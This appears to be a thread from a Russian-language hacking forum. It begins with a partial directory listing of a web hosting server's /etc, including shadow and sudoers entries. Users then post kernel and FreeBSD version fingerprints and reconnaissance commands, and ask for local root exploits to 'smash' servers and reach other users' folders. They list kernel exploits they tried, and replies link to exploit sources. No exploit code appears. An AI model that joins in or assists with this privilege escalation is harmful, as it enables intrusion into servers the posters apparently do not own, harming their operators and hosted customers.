rc.d/rc5.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc6.d -> rc.d/rc6.d drwxr-xr-x 2 root root 4096 Nov 11 2011 readahead.d -rw-r--r-- 1 root root 435 Sep 18 22:09 reader.conf drwxr-xr-x 2 root root 4096 Nov 11 2011 reader.conf.d drwxr-xr-x 2 root root 4096 Nov 28 2011 redhat-lsb -rw-r--r-- 1 root root 30 Oct 2 14:03 redhat-release -rw-r--r-- 1 root root 3105 Nov 7 14:01 relayhosts -rw-r--r-- 1 root root 14796 Nov 7 14:01 relayhostsusers -rw-r----- 1 root mail 6028 Nov 6 20:09 remotedomains -rw-r----- 1 root root 130191 Nov 6 20:08 remotedomains,v -rw-r--r-- 1 root root 1484 Jan 6 2007 request-key.conf -rw-r--r-- 1 root root 29 Apr 16 2012 reservedipreasons -rw-r--r-- 1 root root 14 Apr 16 2012 reservedips -rw-r--r-- 1 root root 38 Apr 20 2012 resolv.conf lrwxrwxrwx 1 root root 11 Nov 30 2011 rmt -> ../sbin/rmt -rw-r----- 1 named named 479 Jul 17 08:20 rndc.conf -rw-rw---- 1 named named 77 Jul 17 08:20 rndc.key -rw-r--r-- 1 root root 1615 Aug 30 2001 rpc drwxr-xr-x 2 root root 4096 Oct 3 05:55 rpm -rw-r--r-- 1 root root 754 Aug 9 12:04 rwtab drwxr-xr-x 2 root root 4096 Aug 9 12:04 rwtab.d drwxr-xr-x 2 root root 4096 Sep 4 15:17 sasl2 -rw-r--r-- 1 root root 6972 May 4 2011 screenrc -rw-r--r-- 1 root root 666 Nov 14 2011 scsi_id.config -rw-r----- 1 root mail 794 Nov 6 20:09 secondarymx -rw-r----- 1 root root 18470 Nov 6 18:41 secondarymx,v -rw------- 1 root root 122 Feb 17 2003 securetty drwxr-xr-x 5 root root 4096 Nov 28 2011 security drwxr-xr-x 3 root root 4096 Nov 6 21:35 selinux -rw-r----- 1 root mail 0 Nov 10 2011 senderverifybypasshosts -rw-r--r-- 1 root root 85179 Mar 31 2010 sensors.conf -rw-r--r-- 1 root root 362031 Feb 23 2006 services -rw-r--r-- 1 root root 216 Apr 3 2010 sestatus.conf drwxr-xr-x 2 root root 4096 Nov 11 2011 setuptool.d -rw------- 1 root root 101055 Nov 6 20:09 shadow -rw------- 1 root root 726760 Nov 6 20:09 shadow,v -rw------- 1 root root 101120 Nov 6 20:09 shadow- -rw------- 1 root root 369665 Nov 6 20:10 shadow.nouids.cache -rw-r--r-- 1 root root 133 Nov 10 2011 shells drwxr-xr-x 2 root root 4096 Nov 11 2011 skel -rw-r----- 1 root mail 52 Apr 27 2012 skipsmtpcheckhosts -rw-r--r-- 1 root root 6463 Dec 8 2011 smartd.conf drwxr-xr-x 2 root root 4096 May 21 11:25 snmp drwxr-xr-x 3 root root 4096 Aug 22 05:53 sound -rw-r----- 1 root mail 0 Nov 10 2011 spammeripblocks -rw-r--r-- 1 root root 0 Oct 25 18:57 spammers drwxr-xr-x 2 root root 4096 Mar 17 2012 ssh drwxr-xr-x 4 root root 4096 Nov 10 2011 ssl -rw------- 1 root root 2533 Nov 1 10:43 ssldomains -rw-r--r-- 1 root root 74 Jul 16 23:09 stats.conf drwxr-xr-x 2 root root 4096 Mar 11 2009 stunnel -r--r----- 1 root root 3381 Sep 17 08:14 sudoers drwxr-xr-x 10 root root 4096 Nov 7 13:57 sysconfig -rw-r--r-- 1 root root 1030 Aug 12 19:30 sysctl.conf -rw-r--r-- 1 root root 694 Apr 3 2010 syslog.conf -rw------- 1 root root 6411 May 25 2008 tcsd.conf -rw-r--r-- 1 root root 807103 Jan 6 2007 termcap -rw-r----- 1 root mail 43831 Nov 7 05:55 trueuserdomains -r--r----- 1 root root 778732 Nov 6 20:09 trueuserdomains,v -rw-r--r-- 1 root mail 28688 Nov 7 05:55 trueuserowners -r--r--r-- 1 root root 449643 Nov 6 20:09 trueuserowners,v -rw-r----- 1 root mail 0 Nov 6 21:38 trustedmailhosts drwxr-xr-x 4 root root 4096 Nov 15 2011 udev -rw-r--r-- 1 root root 136 Sep 3 2009 updatedb.conf drwxr-x--- 2 root adm 4096 Oct 17 18:06 uptrack -rw-r----- 1 root mail 33678 Nov 7 05:55 userbwlimits -r--r----- 1 root root 530039 Nov 6 20:09 userbwlimits,v -rw------- 1 root mail 441132 Nov 7 13:26 userdatadomains -rw------- 1 root root 474560 Nov 7 13:27 userdatadomains.stor -rw-r----- 1 root mail 110184 Nov 7 13:26 userdomains -rw-r----- 1 root root 1530746 Nov 6 20:09 userdomains,v -rw-r----- 1 root mail 44202 Nov 7 05:55 userplans -r--r----- 1 root root 525127 Nov 6 20:09 userplans,v drwx--x--x 2 root root 192512 Nov 7 13:26 valiases drwx--x--x 2 root root 192512 Nov 7 13:26 vdomainaliases drwx--x--x 2 root root 204800 Nov 7 13:26 vfilters lrwxrwxrwx 1 root root 7 Nov 10 2011 vftp -> proftpd -rw-r--r-- 1 root root 1533 Mar 6 2011 virc drwxr-xr-x 2 root root 4096 Nov 25 2011 vmware -rw-r--r-- 1 root root 2657 May 4 2011 warnquota.conf -rw-r--r-- 1 root root 10 Sep 19 19:54 webspam -rw-r--r-- 1 root root 4204 May 10 11:36 wgetrc drwxr-xr-x 2 root root 4096 Nov 11 2011 wpa_supplicant -rw-r--r-- 1 root root 336 Apr 16 2012 wwwacct.conf -rw-r--r-- 1 root root 505 Apr 16 2012 wwwacct.conf.cache -rw------- 1 root root 60 Apr 16 2012 wwwacct.conf.shadow -rw------- 1 root root 511 Apr 16 2012 wwwacct.conf.shadow.cache drwxr-xr-x 4 root root 4096 Nov 11 2011 xdg drwxr-xr-x 2 root root 4096 Mar 17 2012 xinetd.d -rw-r--r-- 1 root root 585 Jun 30 2011 yp.conf drwxr-xr-x 3 root root 4096 Jul 26 10:09 yum -rw-r--r-- 1 root root 637 Nov 7 05:52 yum.conf -rw-r--r-- 1 root root 346 Aug 15 2011 yum.conf.rpmnew drwxr-xr-x 2 root root 4096 Oct 3 05:55 yum.repos.d // Потому что много "букаф" // в code. Разбил на 2 части. // BigBear
$ ls -la --full-time /lib 2>&1 начало 2-мя постами выше рут не обязателен. нужен доступ к папке другого юзера. Спасибо
Посмотри сам сначало. Ядро, Glibc- всё свежее, видно, что за сервером следят. По конфигам тоже ничего.
Посоветуйте друзья, чем пробить: $ uname -a $ ls -la /boot $ ls -la --full-time /lib/lib* $ mount $ df -h $ cat /etc/issue $ cat /etc/crontab $ cat /proc/version $ pwd
Помогите раздолбать до рута это корыто. uname -a ls -la /boot mount df -h cat /etc/issue cat /etc/crontab cat /proc/version cat /proc/sys/vm/mmap_min_addr pwd ls -la /usr/bin/staprun Пробовал: Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit Linux Kernel 2.6.32 Local Root Exploit (x86_64)
Помогите найти експлоит FreeBSD *****.****.ru 8.3-RELEASE-p3 FreeBSD 8.3-RELEASE-p3 #0: Tue Jul 10 17:53:15 UTC 2012 root@*******.host
pinch http://www.exploit-db.com/exploits/9542/ - адин https://rdot.org/forum/showthread.php?t=153 - дЪва r0by Очень врядли возьмешь... Sharp.Net https://rdot.org/forum/showthread.php?p=26841#post26841 - адин https://rdot.org/forum/showpost.php?p=26917&postcount=17 - дЪва p.s. а вообще
Помогите найти что нить под это FreeBSD 8.1-RELEASE-p11 #0: Mon Jun 11 21:22:49 UTC 2012 [email protected]